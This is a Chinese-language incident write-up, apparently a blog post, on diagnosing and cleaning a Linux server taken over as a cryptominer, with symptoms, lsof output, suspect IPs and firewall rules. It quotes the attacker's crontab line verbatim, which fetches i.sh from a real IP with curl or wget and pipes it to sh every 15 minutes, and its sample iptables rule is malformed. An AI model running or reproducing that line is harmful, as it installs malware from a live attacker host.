服务器被攻击后当作矿机,高WIO
__
- 操作系统反应慢。
- wio 非常高,一般轻松达到50%,甚至达到100%。
- 在/root/ 下存在 .ddg 隐藏路径。路径中有nnnn.db 二进制文件。
- /tmp 、/usr/libexec 、/usr/bin 等一个或者多个路径中存在 新增可执行文件,如果存在多个,则名称上来看,无实际意义。文件大小几乎相同 ,通过diff命令,可执行文件无区别。
- 存在连接至国外的网络。
- 使用root 登录,并为root用户添加定时任务。一般为每15分钟连接外网下载名为 “i.sh”的文件并执行。
- 网络:禁止外网访问,严格控制进出端口。
- 服务器:禁止root直接远程登录,禁止Ping 服务器
- 软件:软件不使用默认端口,很多黑客是通过软件的默认端口和漏洞进行攻击的。
下面是本次处理的过程。主要采用处理的方法是添加网络防火墙,禁止访问某个IP段 。下面是分析过程
主机CPU消耗过高

红框标注的内容,都是可疑进程。从名字上来看,是两类:vTtHH* 和ldrlfa* 。 先来看vTtHH* 这一类。

进程8907的父进程是1, 一般这种情况是由守护进程发起的。可是 守护进程没找到 。因为守护进程的名字有可能是经过伪装的。
而该文件存放于/tmp/路径中:

红框中的文件,是随机生成的文件,文件名不一定有规律,但是文件大小相近,内容相同:

这些文件都是编译过的二进制文件。是C/C++可执行文件。
没有进程在使用这些文件。
继续查看下ldrlfa* 这类命令。

可以看到分别于4月30日与5月11日,启动了两个命令:ldrlfa2 /ldrlfa3.这些命令存放于/usr/bin/.

发现这类文件会重复生成,生成的时间并没有什么规律 。
定时任务

|
*/15 * * * * (/usr/bin/ldrlfa3||/usr/libexec/ldrlfa3||/usr/local/bin/ldrlfa3||/tmp/ldrlfa3||curl -m180 -fsSL http://104.128.230.16:8000/i.sh||wget -q -T180 -O- http://104.128.230.16:8000/i.sh) | sh |
每15分钟,执行一次,调用/usr/bin, /usr/libexec, /usr/local/bin /tmp 路径下去查找
Ldrlfa3 命令, 并从104.128.230.16:8000 下载i.sh 文件并执行。
追踪进程
|
[root@~ tmp]# lsof -p 16265 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ldrlfa2 16265 root cwd DIR 253,0 49152 805306441 /usr/bin ldrlfa2 16265 root rtd DIR 253,0 275 64 / ldrlfa2 16265 root txt REG 253,0 4446828 8262721626 /usr/bin/ldrlfa2 ldrlfa2 16265 root mem-W REG 253,0 32768 825678047 /root/.ddg/4002.db ldrlfa2 16265 root 0r CHR 1,3 0t0 4787 /dev/null ldrlfa2 16265 root 1w CHR 1,3 0t0 4787 /dev/null ldrlfa2 16265 root 2w CHR 1,3 0t0 4787 /dev/null ldrlfa2 16265 root 3r CHR 1,9 0t0 4792 /dev/urandom ldrlfa2 16265 root 4u a_inode 0,9 0 4783 [eventpoll] ldrlfa2 16265 root 5uW REG 253,0 32768 825678047 /root/.ddg/4002.db ldrlfa2 16265 root 6u IPv6 231916470 0t0 TCP *:7946 (LISTEN) ldrlfa2 16265 root 7u IPv6 231916471 0t0 UDP *:7946 ldrlfa2 16265 root 8u IPv4 260937900 0t0 TCP ~:19290->211.151.7.198:7946 (SYN_SENT) ldrlfa2 16265 root 9r a_inode 0,9 0 4783 inotify ldrlfa2 16265 root 10u a_inode 0,9 0 4783 [eventpoll] ldrlfa2 16265 root 11r FIFO 0,8 0t0 216218160 pipe ldrlfa2 16265 root 12w FIFO 0,8 0t0 216218160 pipe ldrlfa2 16265 root 13u a_inode 0,9 0 4783 [eventpoll] ldrlfa2 16265 root 14r FIFO 0,8 0t0 231916473 pipe ldrlfa2 16265 root 15w FIFO 0,8 0t0 231916473 pipe [root@pmo02 tmp]# cd /root/.ddg/ [root@pmo02 .ddg]# ls 4000.db 4001.db 4002.db 4003.db [root@~ .ddg]# ls -lrt 总用量 96 -rw------- 1 root root 32768 4月 30 15:26 4001.db -rw------- 1 root root 32768 5月 4 19:48 4000.db -rw------- 1 root root 32768 5月 16 17:25 4003.db -rw------- 1 root root 32768 5月 16 17:29 4002.db [root@~ .ddg]# cat 4001.db ZCmd.Processed@<84\#\,\stBucket ;P_+R d(+˺z<?f0+qkwj"yHQGf0HqЎfзKo/ |H|˕bf*+8a+{w<1iky/&Df.k z/!lAfHQh_O_qЎf_kw;Pv*4!G/ w;8ڀ}2Et5>sz֎<pyѵk GrCfS U7~ R |
从追踪进程来看,挖矿进程,会将本机的 19290端口转发至211.151.7.198:7946端口.
在/root 路径下自动创建了隐藏文件夹.ddg/ ,该路径下存放着 几个 nnnn.db ,而该文件是二进制文件。看不懂。 直接将.ddg 删除。
网络分析
检查当前主机上的网络连接,发现部分异常IP和端口(挖矿进程是需要与外网进行通信的)。从主机上查看:


94.130.49.186 --> 乌克兰
95.216.74.37 --> 乌克兰
182.92.12.11 --> 北京大兴,阿里云
5.79.108.34 --> 荷兰
104.128.230.16 --> 美国
从最终处理结果来看,这是一个正确的方向。
处理方法
将以上发现的定时任务、可执行文件内容全部删除 。
同时防火墙拒绝以上5个地址的全IP段,同时拒绝下载i.sh 文件的IP网络。
添加防火墙策略示例如下:
Iptables –I INPUT 94.0.0.0/8 –j DROP
添加完成后,需要执行service iptables save 将策略保存。
服务器被攻击后当作矿机,高WIO的更多相关文章
- 服务器LIUNX之如何解决矿机问题
点进来的基本都是遇到liunx变矿机的小伙伴吧(cpu运载300%) 卡的连终端都很难打开 开下来之后提示 大意是, 到xxx网站给钱了事, 不过基本这个网站基本也上不去, 要么是暴力破解, 要么是通 ...
- 这两周服务器被攻击,封锁了600多个IP地址段后今天服务器安静多了
这两周服务器被攻击,封锁了600多个IP地址段后今天服务器安静多了 建议大家在自己的服务器上也封杀这些瘪三的地址 iptables -I INPUT -s 123.44.55.0/24 -j DROP ...
- [转]记一次linux(被)入侵,服务器变矿机~
0x00 背景 周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了.不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对 ...
- 为什么我说IPFS社区从卖矿机开始,就是错的
要回答这个问题,首先要了解去中心化存储项目和传统的区块链项目有什么区别.其中去中心化存储项目包括IPFS,基于IPFS的FileCoin.PPIO.Storj等. 传统区块链项目没有供需问题 首先以比 ...
- PHPWAMP自启异常,服务器重启后Apache等服务不会自动重启的原因分析
在使用“PHPWAMP自动任务”时,不少学生遇到如下问题: “phpwamp绿色集成环境重启动电脑(服务器)后,不会自动启动网站服务” (如果是其他环境或是自己搭建时遇到此问题,也是可以用此法解决) ...
- XAMPP服务器在局域网只能本机访问且无法用IP访问的解决办法 (转)
XAMPP服务器在局域网只能本机访问且无法用IP访问的解决办法 前几天安装了xampp for pc 1.7.4版本. 装好后在本地电脑通过https://localhost访问正常. 然后换了台电脑 ...
- 模拟n个人参加选举的过程,并输出选举结果:假设候选人有四人,分别用A,B,C,D表示,当选某候选人时,直接输入其编号(编号由计算机随机产生,若输入的不是A,B,C,D则视为无效票,选举结束后按得票数从高到底输出候选人编号和所得票数.
模拟n个人参加选举的过程,并输出选举结果:假设候选人有四人,分别用A,B,C,D表示,当选某候选人时,直接输入其编号(编号由计算机随机产生,若输入的不是A,B,C,D则视为无效票,选举结束后按得票数从 ...
- Linux服务器重启后eureka报错
在Linux服务器重启后,首次启动应用时查看eureka注册中心,报错 EMERGENCY! EUREKA MAY BE INCORRECTLY CLAIMING INSTANCES ARE UP W ...
- 服务器重启后如何开启由docker部署的redmine
1. 服务器重启后,需要重新开启docker服务 systemctl start docker 2. 查看全部container,包括exited的容器,找出redmine所对应的NAMES标签名称 ...
随机推荐
- 18、远程管理卡、戴尔划RAid
1.配置远程管理卡: 第一个iDRAC6是远程控制卡名称 第三个LAN ...是配置远程控制卡的 下图配置结束按Esc退出 最后按Esc保存退出 2.windows配置远程管理卡: 把下载下来的软件安 ...
- 使用GDB和GEF进行调试
使用GDB进行调试 这是编译ARM二进制文件和使用GDB进行基本调试的简单介绍.在您按照教程进行操作时,您可能需要按照自己的习惯使用ARM程序集.在这种情况下,你要么需要一个备用的ARM设备,或者你只 ...
- kubernetes创建资源的两种方式
一.创建方式分类: 命令 vs 配置文件 Kubernetes 支持两种方式创建资源: 1.用 kubectl 命令行的方式直接创建,比如: kubectl run httpd-app --image ...
- particlesjs
今天发现一个粒子动画的插件下个笔记做个备用: <!DOCTYPE html> <html lang="en"> <head> <meta ...
- PHP+redis消息队列抢购实现
实现功能: 1. 基于redis队列,防止高并发的超卖 2. 基于mysql的事务加排它锁,防止高并发的超卖 基于redis队列工作流程: 1. 管理员根据goods表中的库存,创建redis商品库存 ...
- mysql备份基础
1.1 备份的原因 衡量备份恢复有两个重要的指标:恢复点目标(RPO)和恢复时间目标(RTO), 前者重点关注能恢复到什么程度,而后者则重点关注恢复需要多长时间. 1.1.1 备份的目录 做灾难恢复: ...
- Python网络数据采集(1):博客访问量统计
前言 Python中能够爬虫的包还有很多,但requests号称是“让HTTP服务人类”...口气不小,但的确也很好用. 本文是博客里爬虫的第一篇,实现一个很简单的功能:获取自己博客主页里的访问量. ...
- [洛谷P2605] ZJOI2016 基站选址
问题描述 有N个村庄坐落在一条直线上,第i(i>1)个村庄距离第1个村庄的距离为Di.需要在这些村庄中建立不超过K个通讯基站,在第i个村庄建立基站的费用为Ci.如果在距离第i个村庄不超过Si的范 ...
- wx小程序知识点(三)
三.封装小程序的数据请求 (1)在根目录创建utils目录,创建config.js.base.js (2)在config.js中创建config类,并将请求路径配置给config的属性restUrl, ...
- yum 安装 mongodb
1 .添加阿里源 vi /etc/yum.repos.d/mongodb.repo [mongodb-org] name=MongoDB Repository baseurl=http://mirro ...